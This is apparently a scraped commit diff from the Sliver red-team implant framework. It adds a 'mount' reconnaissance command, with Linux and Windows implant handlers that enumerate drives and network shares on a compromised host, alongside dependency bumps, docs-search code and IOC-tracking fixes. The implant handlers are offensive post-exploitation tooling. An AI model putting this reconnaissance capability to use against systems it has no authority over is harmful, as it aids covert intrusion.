[102.528753, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"]
[102.796622, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"]
[102.829259, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"]
[102.942614, "o", "\u001b[J\u001b[2K\r"]
[102.942731, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"]
[104.18718, "o", "\u001b[?2004l\r\r\n"]
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

+3 -3
View File
@@ -10,12 +10,12 @@ fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt &> /dev/null; then
if command -v apt-get &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt install -yqq \
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
gpg curl build-essential git \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
INSTALLER=(apt install -yqq)
INSTALLER=(apt-get install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
+8
View File
@@ -0,0 +1,8 @@
export type Doc = {
name: string;
content: string;
};
export type Docs = {
docs: Doc[];
};
-60
View File
@@ -1,60 +0,0 @@
/** URL Fragment Arguments */
class Frags {
set(name: string, value: string) {
let frags = this._parseHash();
frags.set(name, value);
let newFrags = "";
for (let [key, value] of frags) {
newFrags += `${key}=${value};`;
}
window.location.hash = newFrags;
}
get(name: string): string | undefined {
if (typeof window === "undefined") {
return undefined;
}
let frags = window.location.hash;
if (!frags) {
return undefined;
}
let fragsMap = this._parseHash();
return fragsMap.get(name);
}
unset(name: string) {
let frags = window.location.hash;
if (!frags) {
return;
}
let fragsMap = this._parseHash();
fragsMap.delete(name);
let newFrags = "";
for (let [key, value] of fragsMap) {
newFrags += `${key}=${value};`;
}
window.location.hash = newFrags;
}
private _parseHash(): Map<string, string> {
let frags = window.location.hash;
frags = frags.substring(1);
let fragsMap = new Map<string, string>();
if (!frags) {
return fragsMap;
}
frags.split(";").forEach(frag => {
if (!frag) {
return;
}
const [key, value] = frag.split("=");
fragsMap.set(key, value);
});
return fragsMap;
}
}
export const frags = new Frags();
+40
View File
@@ -0,0 +1,40 @@
import lunr from "lunr";
import React from "react";
import { Doc, Docs } from "./docs";
export class SearchCtx {
private _docs: Docs = { docs: [] };
private _docsIndex: lunr.Index;
constructor() {
this._docsIndex = lunr(function () {
this.ref("name");
this.field("content");
});
}
public searchDocs = (query: string): Doc[] => {
const results = this._docsIndex.search(query);
const docs = results.map((result) => {
return this._docs.docs.find((doc) => doc.name === result.ref);
});
return docs.filter((doc) => doc !== undefined) as Doc[];
}
public addDocs = (docs: Docs) => {
this._docs = docs;
this._docsIndex = lunr(function () {
this.ref("name");
this.field("content");
docs.docs.forEach((doc) => {
this.add(doc);
});
});
}
}
export const SearchContext = React.createContext<SearchCtx>(new SearchCtx());
export const useSearchContext = () => React.useContext(SearchContext);
+4 -4
View File
@@ -45,11 +45,11 @@ require (
github.com/things-go/go-socks5 v0.0.3
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.15.0
golang.org/x/crypto v0.17.0
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
golang.org/x/net v0.17.0
golang.org/x/sys v0.14.0
golang.org/x/term v0.14.0
golang.org/x/sys v0.15.0
golang.org/x/term v0.15.0
golang.org/x/text v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
@@ -58,7 +58,7 @@ require (
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
gorm.io/driver/sqlite v1.5.2
gorm.io/driver/sqlite v1.5.4
gorm.io/gorm v1.25.5
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6
modernc.org/sqlite v1.27.0
+8 -8
View File
@@ -448,8 +448,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA=
golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g=
golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
@@ -528,12 +528,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.14.0 h1:LGK9IlZ8T9jvdy6cTdfKUCltatMFOehAQo9SRC46UQ8=
golang.org/x/term v0.14.0/go.mod h1:TySc+nGkYR6qt8km8wUhuFRTVSMIX3XPR58y2lC8vww=
golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -620,8 +620,8 @@ gorm.io/driver/mysql v1.5.1 h1:WUEH5VF9obL/lTtzjmML/5e6VfFR/788coz2uaVCAZw=
gorm.io/driver/mysql v1.5.1/go.mod h1:Jo3Xu7mMhCyj8dlrb3WoCaRd1FhsVh+yMXb1jUInf5o=
gorm.io/driver/postgres v1.5.2 h1:ytTDxxEv+MplXOfFe3Lzm7SjG09fcdb3Z/c056DTBx0=
gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBpCgl8=
gorm.io/driver/sqlite v1.5.2 h1:TpQ+/dqCY4uCigCFyrfnrJnrW9zjpelWVoEVNy5qJkc=
gorm.io/driver/sqlite v1.5.2/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
gorm.io/driver/sqlite v1.5.4 h1:IqXwXi8M/ZlPzH/947tn5uik3aYQslP9BVveoax0nV0=
gorm.io/driver/sqlite v1.5.4/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gorm.io/gorm v1.25.5 h1:zR9lOiiYf09VNh5Q1gphfyia1JpiClIWG9hQaxB/mls=
gorm.io/gorm v1.25.5/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
+23
View File
@@ -32,6 +32,7 @@ import (
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -71,6 +72,7 @@ var (
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgMountReq: mountHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
@@ -124,6 +126,27 @@ func dumpHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &sliverpb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &sliverpb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func taskHandler(data []byte, resp RPCResponse) {
var err error
task := &sliverpb.TaskReq{}
@@ -34,6 +34,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/registry"
@@ -86,6 +87,7 @@ var (
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
@@ -736,6 +738,28 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &sliverpb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &sliverpb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
+56
View File
@@ -0,0 +1,56 @@
// +linux
package mount
import (
"bufio"
"os"
"strings"
"syscall"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
file, err := os.Open("/proc/self/mountinfo")
if err != nil {
return mountInfo, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
fields := strings.Fields(line)
// Extract fields according to the /proc/self/mountinfo format
// https://man7.org/linux/man-pages/man5/proc.5.html
mountRoot := fields[3]
mountPoint := fields[4]
mountOptions := fields[5]
mountType := fields[len(fields)-3]
mountSource := fields[len(fields)-2]
// Get mount information using statfs
var stat syscall.Statfs_t
err := syscall.Statfs(mountPoint, &stat)
if err != nil {
continue
}
var mountData sliverpb.MountInfo
mountData.Label = mountRoot
mountData.MountPoint = mountPoint
mountData.VolumeType = mountType
mountData.VolumeName = mountSource
mountData.MountOptions = mountOptions
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+287
View File
@@ -0,0 +1,287 @@
//go:build windows
// +build windows
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
"strings"
"unicode/utf16"
"unsafe"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/windows"
)
const (
pathLength = windows.MAX_PATH + 1
volumePathsLength = 32769 // 32K + 1 for a null terminator
universalNameInfoLevel = 1
remoteNameInfoLevel = 2
remoteNameMaxLength = 1024
)
type UniversalNameInfo struct {
UniversalName [remoteNameMaxLength]uint16
}
var driveTypeMap = map[uint32]string{
0: "Unknown",
1: "Root Path invalid (no volume mounted for path)",
2: "Removable",
3: "Fixed disk",
4: "Remote / network drive",
5: "CD-ROM",
6: "RAM disk",
}
func findAllVolumes() ([]string, error) {
var volumes []string
volumeGuid := make([]uint16, pathLength)
handle, err := windows.FindFirstVolume(&volumeGuid[0], pathLength)
defer windows.FindVolumeClose(handle)
if err != nil {
return volumes, err
}
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
// Keep gathering volumes until we cannot find anymore
for {
err = windows.FindNextVolume(handle, &volumeGuid[0], pathLength)
if err != nil {
if err == windows.ERROR_NO_MORE_FILES {
// Then we are done
break
} else {
return volumes, err
}
}
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
}
return volumes, nil
}
func findMountPointsForVolume(volumeName string) ([]string, error) {
const nullByte uint16 = 0
var volumeMounts []string
mountsForVolume := make([]uint16, volumePathsLength)
var returnedInformationLength uint32 = 0
volNameUint, err := windows.UTF16PtrFromString(volumeName)
if err != nil {
return volumeMounts, err
}
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
if err != nil {
if err == windows.ERROR_MORE_DATA {
// Then we need to make the buffer bigger and try again
// We will try one more time
mountsForVolume := make([]uint16, returnedInformationLength)
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
if err != nil {
return volumeMounts, err
}
} else {
return volumeMounts, err
}
}
/*
Because the buffer contains multiple strings separated by a null terminator, we will read the
buffer in chunks and separate the strings
*/
volumeMounts = splitStringBuffer(mountsForVolume)
return volumeMounts, nil
}
func splitStringBuffer(buffer []uint16) []string {
bufferString := string(utf16.Decode(buffer))
return strings.Split(strings.TrimRight(bufferString, "\x00"), "\x00")
}
func getAllDrives() ([]string, error) {
var logicalDrives []string
// Get necessary buffer size
n, err := windows.GetLogicalDriveStrings(0, nil)
driveStrings := make([]uint16, n)
_, err = windows.GetLogicalDriveStrings(n, &driveStrings[0])
if err != nil {
return logicalDrives, err
}
logicalDrives = splitStringBuffer(driveStrings)
return logicalDrives, nil
}
func getDriveType(driveSpec string) string {
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return ""
}
driveTypeValue := windows.GetDriveType(driveUTF16)
if driveType, ok := driveTypeMap[driveTypeValue]; ok {
return driveType
} else {
return driveTypeMap[0]
}
}
func getUniversalName(driveSpec string) (string, error) {
mpr := windows.NewLazyDLL("mpr.dll")
wNetGetUniversalNameWProc := mpr.NewProc("WNetGetUniversalNameW")
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return "", err
}
var universalNameBuffer UniversalNameInfo
var bufferSize = uint32(unsafe.Sizeof(universalNameBuffer))
returnCode, _, err := wNetGetUniversalNameWProc.Call(
uintptr(unsafe.Pointer(driveUTF16)),
uintptr(universalNameInfoLevel),
uintptr(unsafe.Pointer(&universalNameBuffer)),
uintptr(unsafe.Pointer(&bufferSize)),
)
if returnCode != 0 {
// Then there was an error
return "", fmt.Errorf("%v", windows.Errno(returnCode).Error())
}
bufferStrings := splitStringBuffer(universalNameBuffer.UniversalName[:])
// There is some junk returned at the beginning of the structure. The actual UNC path starts after the first null terminator.
if len(bufferStrings) > 1 {
return bufferStrings[1], nil
} else {
return "", errors.New("No valid data returned")
}
}
func getDiskStats(driveSpec string) (uint64, uint64, uint64, error) {
var freeSpace uint64 = 0
var usedSpace uint64 = 0
var totalSpace uint64 = 0
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return freeSpace, usedSpace, totalSpace, err
}
err = windows.GetDiskFreeSpaceEx(driveUTF16, nil, &totalSpace, &freeSpace)
if err != nil {
return freeSpace, usedSpace, totalSpace, err
}
usedSpace = totalSpace - freeSpace
return freeSpace, usedSpace, totalSpace, nil
}
func getDriveInfo(driveSpec string) (string, string) {
// Get label and filesystem type
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return "", ""
}
volumeNameBuffer := make([]uint16, pathLength)
fileSystemNameBuffer := make([]uint16, pathLength)
err = windows.GetVolumeInformation(driveUTF16, &volumeNameBuffer[0], pathLength, nil, nil, nil, &fileSystemNameBuffer[0], pathLength)
if err != nil {
return "", ""
}
return windows.UTF16ToString(volumeNameBuffer), windows.UTF16ToString(fileSystemNameBuffer)
}
func constructDriveVolumeMap() (map[string]string, error) {
driveVolumeMap := make(map[string]string)
volumes, err := findAllVolumes()
if err != nil {
return driveVolumeMap, err
}
for _, volume := range volumes {
mountPoints, err := findMountPointsForVolume(volume)
if err != nil {
return driveVolumeMap, err
}
for _, mountPoint := range mountPoints {
driveVolumeMap[mountPoint] = volume
}
}
return driveVolumeMap, nil
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
logicalDrives, err := getAllDrives()
if err != nil {
return mountInfo, err
}
driveVolumeMap, err := constructDriveVolumeMap()
if err != nil {
return mountInfo, err
}
for _, drive := range logicalDrives {
var mountData sliverpb.MountInfo
mountData.MountPoint = drive
mountData.VolumeType = getDriveType(drive)
if mountData.VolumeType == driveTypeMap[4] {
// Then this is a network drive, so let's figure out the UNC path
networkPath, err := getUniversalName(drive)
if err != nil {
return mountInfo, err
}
mountData.VolumeName = networkPath
} else {
mountData.VolumeName = driveVolumeMap[drive]
}
mountData.Label, mountData.FileSystem = getDriveInfo(drive)
free, used, total, err := getDiskStats(drive)
if err != nil {
return mountInfo, err
}
mountData.UsedSpace = used
mountData.FreeSpace = free
mountData.TotalSpace = total
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+4 -6
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.0
// protoc-gen-go v1.26.0
// protoc v3.15.8
// source: clientpb/client.proto
package clientpb
@@ -5681,8 +5681,7 @@ func (x *MsfStager) GetFile() *commonpb.File {
}
// GetSystemReq - Client request to the server which is translated into
//
// InvokeSystemReq when sending to the implant.
// InvokeSystemReq when sending to the implant.
type GetSystemReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -5755,8 +5754,7 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
}
// MigrateReq - Client request to the server which is translated into
//
// InvokeMigrateReq when sending to the implant.
// InvokeMigrateReq when sending to the implant.
type MigrateReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
+4 -5
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.0
// protoc-gen-go v1.26.0
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
@@ -131,9 +131,8 @@ func (x *Request) GetSessionID() string {
}
// Response - Common fields used in all gRPC responses. Note that the Err field
//
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
+7 -5
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.0
// protoc-gen-go v1.26.0
// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
@@ -87,10 +87,12 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
// NOTE: DNS is very space sensitive so certain fields are re-purposed
// depending on the DNSMessageType as noted below:
//
// [Type TOTP]: ID field is used for the TOTP code
//NOTE: DNS is very space sensitive so certain fields are re-purposed
//depending on the DNSMessageType as noted below:
//
//[Type TOTP]: ID field is used for the TOTP code
//
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
File diff suppressed because it is too large. Load diff
+1
View File
@@ -176,6 +176,7 @@ service SliverRPC {
rpc MemfilesList(sliverpb.MemfilesListReq) returns (sliverpb.Ls);
rpc MemfilesAdd(sliverpb.MemfilesAddReq) returns (sliverpb.MemfilesAdd);
rpc MemfilesRm(sliverpb.MemfilesRmReq) returns (sliverpb.MemfilesRm);
rpc Mount(sliverpb.MountReq) returns (sliverpb.Mount);
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
File diff suppressed because it is too large. Load diff
+7
View File
@@ -342,6 +342,9 @@ const (
// MsgGrepReq - Request to grep for data
MsgGrepReq
// MsgMountReq - Request filesystem mounts
MsgMountReq
)
// Constants to replace enums
@@ -588,8 +591,12 @@ func MsgNumber(request proto.Message) uint32 {
case *GrepReq:
return MsgGrepReq
case *MountReq:
return MsgMountReq
case *MemfilesListReq:
return MsgMemfilesListReq
case *MemfilesAddReq:
return MsgMemfilesAddReq
case *MemfilesAdd:
File diff suppressed because it is too large. Load diff
+23
View File
@@ -327,6 +327,28 @@ message Grep {
commonpb.Response Response = 9;
}
message MountReq {
commonpb.Request Request = 9;
}
message MountInfo {
string VolumeName = 1;
string VolumeType = 2;
string MountPoint = 3;
string Label = 4;
string FileSystem = 5;
uint64 UsedSpace = 6;
uint64 FreeSpace = 7;
uint64 TotalSpace = 8;
string MountOptions = 9;
}
message Mount {
repeated MountInfo Info = 1;
commonpb.Response Response = 9;
}
message ProcessDumpReq {
int32 Pid = 1;
int32 Timeout = 2;
@@ -340,6 +362,7 @@ message ProcessDump {
commonpb.Response Response = 9;
}
message RunAsReq {
string Username = 1;
string ProcessName = 2;
+2 -2
View File
@@ -759,7 +759,7 @@ func HostByHostID(id uuid.UUID) (*clientpb.Host, error) {
}
// HostByHostUUID - Get host by the session's reported HostUUID
func HostByHostUUID(id string) (*clientpb.Host, error) {
func HostByHostUUID(id string) (*models.Host, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
@@ -774,7 +774,7 @@ func HostByHostUUID(id string) (*clientpb.Host, error) {
if err != nil {
return nil, err
}
return host.ToProtobuf(), nil
return &host, nil
}
// IOCByID - Select an IOC by ID
+3 -2
View File
@@ -36,8 +36,8 @@ type Host struct {
OSVersion string // Verbose OS version
Locale string // Detected language code
IOCs []IOC
ExtensionData []ExtensionData
IOCs []IOC `gorm:"foreignKey:HostID;references:HostUUID"`
ExtensionData []ExtensionData `gorm:"foreignKey:HostID;references:HostUUID"`
}
// BeforeCreate - GORM hook
@@ -107,6 +107,7 @@ func (i *IOC) ToProtobuf() *clientpb.IOC {
return &clientpb.IOC{
Path: i.Path,
FileHash: i.FileHash,
ID: i.ID.String(),
}
}
+1 -2
View File
@@ -54,8 +54,7 @@ func (l *LocalBackend) Add(loot *clientpb.Loot) (*clientpb.Loot, error) {
lootLog.Warnf("Failed to find host %s for loot %s", loot.OriginHostUUID, loot.ID)
hostID = uuid.Nil
} else {
id, _ := uuid.FromString(host.ID)
hostID = id
hostID = host.HostUUID
}
dbLoot := &models.Loot{
Name: loot.GetName(),
+25 -4
View File
@@ -29,7 +29,7 @@ import (
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
"github.com/bishopfox/sliver/util/encoders"
)
var (
@@ -189,6 +189,18 @@ func (rpc *Server) MemfilesRm(ctx context.Context, req *sliverpb.MemfilesRmReq)
return resp, nil
}
func hashUploadData(encoder string, data []byte) [32]byte {
if encoder == "gzip" {
decodedData, err := new(encoders.Gzip).Decode(data)
if err != nil {
return sha256.Sum256(nil)
}
return sha256.Sum256(decodedData)
} else {
return sha256.Sum256(data)
}
}
func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
fsLog.Debugf("Adding IOC to database ...")
request := req.GetRequest()
@@ -207,10 +219,9 @@ func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
return
}
sum := sha256.Sum256(req.Data)
id, _ := uuid.FromString(host.ID)
sum := hashUploadData(req.Encoder, req.Data)
ioc := &models.IOC{
HostID: id,
HostID: host.HostUUID,
Path: resp.Path,
FileHash: fmt.Sprintf("%x", sum),
}
@@ -228,3 +239,13 @@ func (rpc *Server) Grep(ctx context.Context, req *sliverpb.GrepReq) (*sliverpb.G
}
return resp, nil
}
// Mount - Get information on mounted filesystems
func (rpc *Server) Mount(ctx context.Context, req *sliverpb.MountReq) (*sliverpb.Mount, error) {
resp := &sliverpb.Mount{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+2 -2
View File
@@ -49,7 +49,7 @@ func (rpc *Server) Host(ctx context.Context, req *clientpb.Host) (*clientpb.Host
if err != nil {
return nil, err
}
return dbHost, nil
return dbHost.ToProtobuf(), nil
}
// HostRm - Remove a host from the database
@@ -58,7 +58,7 @@ func (rpc *Server) HostRm(ctx context.Context, req *clientpb.Host) (*commonpb.Em
if err != nil {
return nil, err
}
err = db.Session().Delete(dbHost).Error
err = db.Session().Delete(*dbHost).Error
if err != nil {
return nil, err
}
-4
View File
@@ -115,10 +115,6 @@ func (rpc *Server) GenericHandler(req GenericRequest, resp GenericResponse) erro
return ErrInvalidSessionID
}
// Overwrite unused implant fields before re-serializing
request.SessionID = ""
request.BeaconID = ""
reqData, err := proto.Marshal(req)
if err != nil {
return err
+6 -6
View File
@@ -199,8 +199,8 @@ TEXT ·mixBlocksSSE2(SB), 4, $0-32
MOVQ out+0(FP), DX
MOVQ a+8(FP), AX
MOVQ b+16(FP), BX
MOVQ a+24(FP), CX
MOVQ $128, BP
MOVQ c+24(FP), CX
MOVQ $128, DI
loop:
MOVOU 0(AX), X0
@@ -213,7 +213,7 @@ loop:
ADDQ $16, BX
ADDQ $16, CX
ADDQ $16, DX
SUBQ $2, BP
SUBQ $2, DI
JA loop
RET
@@ -222,8 +222,8 @@ TEXT ·xorBlocksSSE2(SB), 4, $0-32
MOVQ out+0(FP), DX
MOVQ a+8(FP), AX
MOVQ b+16(FP), BX
MOVQ a+24(FP), CX
MOVQ $128, BP
MOVQ c+24(FP), CX
MOVQ $128, DI
loop:
MOVOU 0(AX), X0
@@ -238,6 +238,6 @@ loop:
ADDQ $16, BX
ADDQ $16, CX
ADDQ $16, DX
SUBQ $2, BP
SUBQ $2, DI
JA loop
RET
+1 -1
View File
@@ -2,7 +2,7 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build go1.7 && amd64 && gc && !purego
//go:build amd64 && gc && !purego
package blake2b
+1 -1
View File
@@ -2,7 +2,7 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build go1.7 && amd64 && gc && !purego
//go:build amd64 && gc && !purego
#include "textflag.h"
-24
View File
@@ -1,24 +0,0 @@
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build !go1.7 && amd64 && gc && !purego
package blake2b
import "golang.org/x/sys/cpu"
func init() {
useSSE4 = cpu.X86.HasSSE41
}
//go:noescape
func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) {
if useSSE4 {
hashBlocksSSE4(h, c, flag, blocks)
} else {
hashBlocksGeneric(h, c, flag, blocks)
}
}
-2
